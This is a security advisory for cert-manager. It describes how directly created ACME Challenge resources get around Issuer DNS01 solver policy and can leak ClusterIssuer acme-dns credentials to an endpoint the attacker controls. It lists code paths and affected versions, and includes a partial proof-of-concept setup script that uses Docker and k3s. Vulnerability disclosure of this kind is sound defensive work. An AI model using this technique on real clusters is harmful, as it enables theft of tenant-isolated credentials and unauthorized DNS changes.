Vulnerability GHSA-8rvj-mm4h-c258
Summary
cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials
Details
Summary
Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.
When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.
In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.
Attack preconditions
- The attacker can create
challenges.acme.cert-manager.ioresources in at least one namespace. - The cert-manager controller is running and reconciles ACME
Challengeresources cluster-wide. - A usable
ClusterIssuerexists in the cluster. - The referenced
ClusterIssuerhas a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled forClusterIssuer. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity
Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.
Why this is not just RBAC misconfiguration
cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.
The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.
Affected components
- ACME Challenge admission validation
- ACME Challenge controller
- DNS01 solver selection and DNS provider construction
- Default aggregate RBAC for
challenges.acme.cert-manager.io
Affected versions tested
The issue was reproduced on:
mastercommit2c0f1a6a4- latest production release
v1.20.2commite5b7b1845 v1.19.5commitcda7b7896v1.18.6commit4699caabb
See VERSION_TEST_MATRIX.md for the command matrix and outputs.
Technical details
Relevant code paths:
internal/apis/acme/validation/challenge.go:44-45:ValidateChallengereturns no errors on create.deploy/crds/acme.cert-manager.io_challenges.yaml:spec.solveris a required user-controlled field onChallenge.pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.pkg/controller/acmechallenges/controller.go:180-197: scheduler setsstatus.processing=true.pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.pkg/issuer/acme/dns/dns.go:81: DNS solverPresentignores the issuer object argument.pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived fromChallenge.spec.pkg/controller/helper.go:39-44:ClusterIssuerreferences use the cluster resource namespace.pkg/controller/helper.go:66-72: ambient credentials are allowed based onissuerRef.kind.internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/updatechallengesandorders.
The normal Order flow selects a solver from the Issuer:
pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.
The direct Challenge flow skips that selection entirely because the direct object already contains a solver.
Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge
The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.
The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.
A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.
Run from the cert-manager repository root:
set -euo pipefail
name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
for i in $(seq 1 90); do
docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
sleep 2
done
docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null
docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
--from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: cluster-prod
spec:
acme:
email: [email protected]
server: https://acme-staging-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: cluster-prod-account-key
solvers:
- selector:
dnsZones:
- victim.example.com
dns01:
acmeDNS:
host: https://legit-acmedns.example
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: challenge-create-only
namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
resources: ["challenges"]
verbs: ["create", "get", "list", "watch"]
Related Vulnerabilities
Other vulnerabilities affecting the same packages